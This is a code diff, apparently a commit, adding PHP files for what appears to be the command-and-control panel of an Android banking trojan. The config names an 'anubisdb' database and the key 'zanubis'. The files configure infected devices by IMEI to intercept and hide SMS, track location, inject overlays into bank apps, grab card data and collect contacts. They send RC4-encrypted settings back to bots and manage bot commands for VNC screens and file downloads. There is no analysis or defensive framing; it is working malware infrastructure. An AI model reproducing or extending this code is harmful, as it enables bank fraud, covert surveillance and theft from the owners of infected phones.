||||
}
|
||||
else
|
||||
{
|
||||
$statement = $connection->prepare("UPDATE markers SET name = '$IMEI', lat='$lat', lng='$lon', provayder='$netgps', time = '$data_time' WHERE name = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$lat,$lon,$netgps,$data_time));
|
||||
}
|
||||
}
|
||||
?>
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
<?php
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$sql = "SELECT * FROM settingsall WHERE id='1'";
|
||||
|
||||
$hash="";
|
||||
$urls="";
|
||||
$urlInj="";
|
||||
$intInterval=0;
|
||||
$checksms=0;
|
||||
$checkhidesms=0;
|
||||
$checkgeolocation=0;
|
||||
$checkInjectionsApps=0;
|
||||
$secondInjectionsApps=0;
|
||||
$checkRequestGeolocation=0;
|
||||
$secondRequestGeolocation=0;
|
||||
$checkGrab_auto=0;
|
||||
$Grab_auto="";
|
||||
$secondGrab_auto=0;
|
||||
$checkInjGrab=0;
|
||||
$InjGrab="";
|
||||
$secondInjGrab=0;
|
||||
$checkPhoneContacts=0;
|
||||
$secondPhoneContacts=0;
|
||||
$checkStartGeolocation=0;
|
||||
$secondStartGeolocation=0;
|
||||
$findfiles="";
|
||||
|
||||
foreach($connection->query($sql) as $row)
|
||||
{
|
||||
$hash = $row['hash'];
|
||||
$urls=$row['urls'];
|
||||
$urlInj=$row['urlInj'];
|
||||
$intInterval = $row['intInterval'];
|
||||
$checksms = $row['checksms'];
|
||||
$checkhidesms = $row['checkhidesms'];
|
||||
$checkgeolocation = $row['checkgeolocation'];
|
||||
$checkInjectionsApps = $row['checkInjectionsApps'];
|
||||
$secondInjectionsApps = $row['secondInjectionsApps'];
|
||||
$checkRequestGeolocation = $row['checkRequestGeolocation'];
|
||||
$secondRequestGeolocation = $row['secondRequestGeolocation'];
|
||||
$checkGrab_auto = $row['checkGrab_auto'];
|
||||
$Grab_auto = $row['Grab_auto'];
|
||||
$secondGrab_auto = $row['secondGrab_auto'];
|
||||
$checkInjGrab = $row['checkInjGrab'];
|
||||
$InjGrab = $row['InjGrab'];
|
||||
$secondInjGrab = $row['secondInjGrab'];
|
||||
$checkPhoneContacts = $row['checkPhoneContacts'];
|
||||
$secondPhoneContacts = $row['secondPhoneContacts'];
|
||||
$checkStartGeolocation = $row['checkStartGeolocation'];
|
||||
$secondStartGeolocation = $row['secondStartGeolocation'];
|
||||
$findfiles=$row['findfiles'];
|
||||
break;
|
||||
}
|
||||
|
||||
if($checksms == "1")$checksms = "true"; else $checksms = "false";
|
||||
if($checkhidesms == "1")$checkhidesms = "true"; else $checkhidesms = "false";
|
||||
if($checkgeolocation == "1")$checkgeolocation = "true"; else $checkgeolocation = "false";
|
||||
if($checkInjectionsApps != "1") $secondInjectionsApps = -1;
|
||||
if($checkRequestGeolocation != "1") $secondRequestGeolocation = -1;
|
||||
if($checkGrab_auto != "1") $secondGrab_auto = -1;
|
||||
if($checkInjGrab != "1") $secondInjGrab = -1;
|
||||
if($checkPhoneContacts != "1") $secondPhoneContacts = -1;
|
||||
if($checkStartGeolocation != "1") $secondStartGeolocation = -1;
|
||||
|
||||
/*
|
||||
0) Hash(String)
|
||||
1) Интервал отстука(int)
|
||||
2) Перехват смс(Check - int)
|
||||
3) Скрывать перехваченые смс(Check - int)
|
||||
4) Запуск геолокации(Check - int)
|
||||
5) Запрос для разрешения инжектирования приложений(int)
|
||||
6) Запуск запроса разрешения геолокации(Check - i(int)
|
||||
7) Включаем автоинжекты и выбираем граббер СС(String/int)
|
||||
8) Включаем инжекты и выбираем граббер СС(String/int)
|
||||
9) Сбор лист контактов(int)
|
||||
10) Запуск геолокации(int)
|
||||
11) Urls panel (String)
|
||||
12) Url Injections (String)
|
||||
*/
|
||||
|
||||
$otv = encrypt("$hash~$intInterval~$checksms~$checkhidesms~$checkgeolocation~$secondInjectionsApps~$secondRequestGeolocation~$Grab_auto/$secondGrab_auto~$InjGrab/$secondInjGrab~$secondPhoneContacts~$secondStartGeolocation~$urls~$urlInj~$findfiles~",cryptKey);
|
||||
|
||||
echo "<tag>$otv</tag>";
|
||||
?>
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
<?php
|
||||
//передаем данные для выпонения команд!!!-----
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
include 'crypt.php';
|
||||
include 'config.php';
|
||||
$request = decrypt($request,cryptKey);
|
||||
|
||||
$massivReq = explode(":", $request);
|
||||
/*
|
||||
* 0 IMEI
|
||||
* 1 Название настройки
|
||||
* 2 Параметры
|
||||
*/
|
||||
$IMEI = isset($massivReq[0]) ? $massivReq[0] : "";
|
||||
$name =isset($massivReq[1]) ? $massivReq[1] : "";
|
||||
$params = isset($massivReq[2]) ? $massivReq[2] : "";
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT IMEI FROM settings WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
$booIMEI = false;
|
||||
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['IMEI']==$IMEI)
|
||||
{
|
||||
$booIMEI=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($booIMEI == false){
|
||||
/*
|
||||
avtootvet_true - On/off interception SMS
|
||||
del_sms - On/off hidden SMS interception
|
||||
avtootvet_sig1 - On/off geolocation NETWORK
|
||||
avtootvet_sig2 - On/off geolocation GPS
|
||||
*/
|
||||
if($name=="InterceptionSMS"){
|
||||
$statement = $connection->prepare("insert into settings (IMEI, inject, del_sms, state, avtootvet_true, avtootvet_sig1, avtootvet_sig2)
|
||||
value ('$IMEI','','','1','$params','','')");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}elseif($name=="HideInterceptionSMS"){
|
||||
|
||||
$statement = $connection->prepare("insert into settings (IMEI, inject, del_sms, state, avtootvet_true, avtootvet_sig1, avtootvet_sig2)
|
||||
value ('$IMEI','','$params','1','','','')");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
|
||||
}elseif($name=="Geolocation"){
|
||||
|
||||
$statement = $connection->prepare("insert into settings (IMEI, inject, del_sms, state, avtootvet_true, avtootvet_sig1, avtootvet_sig2)
|
||||
value ('$IMEI','','','1','','$params','$params')");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
|
||||
}elseif($name=="autoInj"){
|
||||
|
||||
$grabs = str_replace("|","/",$params);
|
||||
$inj="";
|
||||
$getAppsBanks="";
|
||||
|
||||
$statement = $connection->prepare("SELECT IMEI, bank FROM kliets WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if(strcmp($IMEI,$row['IMEI']) == 0)
|
||||
{
|
||||
$getAppsBanks=$row['bank'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($getAppsBanks!="")
|
||||
{
|
||||
$statement = $connection->prepare("SELECT id, process FROM injection");
|
||||
$statement->execute();
|
||||
|
||||
$massivAppsBanks = explode(",", $getAppsBanks);
|
||||
foreach($statement as $row){
|
||||
|
||||
$getProcess =$row['process'];
|
||||
|
||||
foreach($massivAppsBanks as $app){
|
||||
|
||||
if((strlen($app)>=2)&&(preg_match("/$app/",$getProcess))){
|
||||
|
||||
$getInj = $row['id'];
|
||||
$inj= "$inj/$getInj";
|
||||
}
|
||||
}
|
||||
}
|
||||
if(strcmp($inj,"/") != 0){
|
||||
$grabs="$grabs$inj";
|
||||
}
|
||||
}
|
||||
$statement = $connection->prepare("insert into settings (IMEI, inject, del_sms, state, avtootvet_true, avtootvet_sig1, avtootvet_sig2)
|
||||
value ('$IMEI','$grabs','','1','','','')");
|
||||
$statement->execute(array($IMEI,$grabs));
|
||||
|
||||
}elseif($name=="Inj"){
|
||||
|
||||
$params = str_replace("|","/",$params);
|
||||
|
||||
$statement = $connection->prepare("insert into settings (IMEI, inject, del_sms, state, avtootvet_true, avtootvet_sig1, avtootvet_sig2)
|
||||
value ('$IMEI','$params','','1','','','')");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}
|
||||
|
||||
|
||||
}else{
|
||||
|
||||
|
||||
if($name=="InterceptionSMS"){
|
||||
$statement = $connection->prepare("UPDATE settings SET avtootvet_true = '$params', state='1' WHERE IMEI = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}elseif($name=="HideInterceptionSMS"){
|
||||
$statement = $connection->prepare("UPDATE settings SET del_sms='$params', state='1' WHERE IMEI = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}elseif($name=="Geolocation"){
|
||||
$statement = $connection->prepare("UPDATE settings SET avtootvet_sig1 = '$params', state='1', avtootvet_sig2 = '$params' WHERE IMEI = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}elseif($name=="autoInj"){
|
||||
|
||||
$grabs = str_replace("|","/",$params);
|
||||
$inj="";
|
||||
$getAppsBanks="";
|
||||
|
||||
$statement = $connection->prepare("SELECT IMEI, bank FROM kliets WHERE IMEI='$IMEI'");
|
||||
$statement->execute([$IMEI]);
|
||||
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if(strcmp($IMEI,$row['IMEI']) == 0)
|
||||
{
|
||||
$getAppsBanks=$row['bank'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($getAppsBanks!="")
|
||||
{
|
||||
$statement = $connection->prepare("SELECT id, process FROM injection");
|
||||
$statement->execute();
|
||||
|
||||
$massivAppsBanks = explode(",", $getAppsBanks);
|
||||
foreach($statement as $row){
|
||||
$getProcess =$row['process'];
|
||||
foreach($massivAppsBanks as $app){
|
||||
if((strlen($app)>=2)&&(preg_match("/$app/",$getProcess))){
|
||||
|
||||
$getInj = $row['id'];
|
||||
$inj= "$inj/$getInj";
|
||||
}
|
||||
}
|
||||
}
|
||||
if(strcmp($inj,"/") != 0){
|
||||
$grabs="$grabs$inj";
|
||||
}
|
||||
}
|
||||
//------Собираем в настройках и новые найденые инжекты-------
|
||||
$statement = $connection->prepare("SELECT IMEI, inject FROM settings");
|
||||
$statement->execute();
|
||||
$getInjSetting="";
|
||||
foreach($statement as $row){
|
||||
if(strcmp($IMEI,$row['IMEI']) == 0){
|
||||
$getInjSetting=$row['inject'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
$InjetionSettings="";
|
||||
if($getInjSetting != ""){
|
||||
$massivgetInjSetting = explode("/", $getInjSetting);
|
||||
$massivgrabs = explode("/", $grabs);
|
||||
|
||||
foreach($massivgetInjSetting as $injSetting){
|
||||
$boolInj=true;
|
||||
foreach($massivgrabs as $grab){
|
||||
if($injSetting==$grab){
|
||||
$boolInj=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($boolInj){
|
||||
$InjetionSettings="$InjetionSettings/$injSetting";
|
||||
}
|
||||
}
|
||||
$grabs="$InjetionSettings/$grabs";
|
||||
}
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject='$grabs', state='1' WHERE IMEI = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$grabs));
|
||||
}elseif($name=="Inj"){
|
||||
$params = str_replace("|","/",$params);
|
||||
|
||||
//------Собираем в настройках и новые найденые инжекты-------
|
||||
$statement = $connection->prepare("SELECT IMEI, inject FROM settings");
|
||||
$statement->execute();
|
||||
$getInjSetting="";
|
||||
foreach($statement as $row){
|
||||
if(strcmp($IMEI,$row['IMEI']) == 0){
|
||||
$getInjSetting=$row['inject'];
|
||||
break;
|
||||
}
|
||||
}
|
||||
$InjetionSettings="";
|
||||
if($getInjSetting != ""){
|
||||
$massivgetInjSetting = explode("/", $getInjSetting);
|
||||
$massivgrabs = explode("/", $params);
|
||||
|
||||
foreach($massivgetInjSetting as $injSetting){
|
||||
$boolInj=true;
|
||||
foreach($massivgrabs as $inj){
|
||||
if($injSetting==$inj){
|
||||
$boolInj=false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($boolInj){
|
||||
$InjetionSettings="$InjetionSettings/$injSetting";
|
||||
}
|
||||
}
|
||||
$params="$InjetionSettings/$params";
|
||||
}
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject='$params', state='1' WHERE IMEI = '$IMEI'");
|
||||
$statement->execute(array($IMEI,$params));
|
||||
}
|
||||
}
|
||||
|
||||
echo "<tag>2453512</tag>";
|
||||
?>
|
||||
@@ -0,0 +1,13 @@
|
||||
<?php
|
||||
$sname = "localhost";
|
||||
$uname = "root";
|
||||
$password = "";
|
||||
$db_name = "anubisdb";
|
||||
|
||||
|
||||
define('SERVER' , $sname);
|
||||
define('DB', $db_name);
|
||||
define('USER', $uname);
|
||||
define('PASSWORD' , $password);
|
||||
define('cryptKey' , 'zanubis');
|
||||
define('namefolder', 'anubis');
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
class RC4Crypt {
|
||||
public static function encrypt_ ($pwd, $data, $ispwdHex = 0){
|
||||
if ($ispwdHex)
|
||||
$pwd = @pack('H*', $pwd);
|
||||
|
||||
$key[] = '';
|
||||
$box[] = '';
|
||||
$cipher = '';
|
||||
$pwd_length = strlen($pwd);
|
||||
$data_length = strlen($data);
|
||||
|
||||
for ($i = 0; $i < 256; $i++){
|
||||
$key[$i] = ord($pwd[$i % $pwd_length]);
|
||||
$box[$i] = $i;
|
||||
}
|
||||
for ($j = $i = 0; $i < 256; $i++){
|
||||
$j = ($j + $box[$i] + $key[$i]) % 256;
|
||||
$tmp = $box[$i];
|
||||
$box[$i] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
}
|
||||
for ($a = $j = $i = 0; $i < $data_length; $i++){
|
||||
$a = ($a + 1) % 256;
|
||||
$j = ($j + $box[$a]) % 256;
|
||||
$tmp = $box[$a];
|
||||
$box[$a] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
$k = $box[(($box[$a] + $box[$j]) % 256)];
|
||||
$cipher .= chr(ord($data[$i]) ^ $k);
|
||||
}
|
||||
return $cipher;
|
||||
}
|
||||
public static function decrypt_ ($pwd, $data, $ispwdHex = 0){
|
||||
return RC4Crypt::encrypt_($pwd, $data, $ispwdHex);
|
||||
}
|
||||
}
|
||||
function encrypt($string, $key){
|
||||
return base64_encode(bin2hex(RC4Crypt::encrypt_($key, $string)));
|
||||
}
|
||||
function decrypt($string, $key){
|
||||
return RC4Crypt::decrypt_($key, hex2bin(base64_decode($string)));
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
$getIdBotWindows = htmlspecialchars($_REQUEST["id"], ENT_QUOTES);
|
||||
include 'config.php';
|
||||
|
||||
$connection2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection2->exec('SET NAMES utf8');
|
||||
|
||||
$statement2 = $connection2->prepare("SELECT * FROM idbotwindows");
|
||||
$statement2->execute([$getIdBotWindows]);
|
||||
|
||||
$isIdBotWin = false;
|
||||
foreach($statement2 as $row){
|
||||
if (preg_match("/$getIdBotWindows/",$row['idbot'])){
|
||||
$isIdBotWin=true;
|
||||
}
|
||||
}
|
||||
if($isIdBotWin){
|
||||
echo "exist";
|
||||
}else{
|
||||
echo "no";
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,2 @@
|
||||
@@##$$Hacker.Data$$##@@
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
<?php
|
||||
class database{
|
||||
function ws_UpdateBotID($botid){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET botid='$botid' WHERE id='1'");
|
||||
$statement->execute([$botid]);
|
||||
}
|
||||
function ws_UpdateCommand($command){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
|
||||
$statement->execute([$command]);
|
||||
}
|
||||
function ws_UpdateFileFolder($FileFolder){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET FileFolder='$FileFolder' WHERE id='1'");
|
||||
$statement->execute([$FileFolder]);
|
||||
}
|
||||
function ws_UpdatePath($Path){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET path='$Path' WHERE id='1'");
|
||||
$statement->execute([$Path]);
|
||||
}
|
||||
function ws_UpdateStatusFileFolder($status){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET statusfilefolder='$status' WHERE id='1'");
|
||||
$statement->execute([$status]);
|
||||
}
|
||||
function ws_UpdateDownloadFile($path){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET DownloadFile='$path' WHERE id='1'");
|
||||
$statement->execute([$path]);
|
||||
}
|
||||
function ws_UpdateVNCscreen($name){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET vncscreen='$name' WHERE id='1'");
|
||||
$statement->execute([$name]);
|
||||
}
|
||||
function ws_UpdateSound($name){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET sound='$name' WHERE id='1'");
|
||||
$statement->execute([$name]);
|
||||
}
|
||||
function ws_UpdateLastConnect($time){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET lastconnect='$time' WHERE id='1'");
|
||||
$statement->execute([$time]);
|
||||
}
|
||||
function ws_GetHandshake(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT handshake FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['handshake'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetBotID(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT botid FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['botid'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetDownloadFile(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT DownloadFile FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['DownloadFile'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetCommand(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT command FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['command'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetPath(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT path FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['path'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetFileFolder(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT FileFolder FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['FileFolder'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
function ws_GetSound(){
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
return $row['sound'];
|
||||
}
|
||||
return '';
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user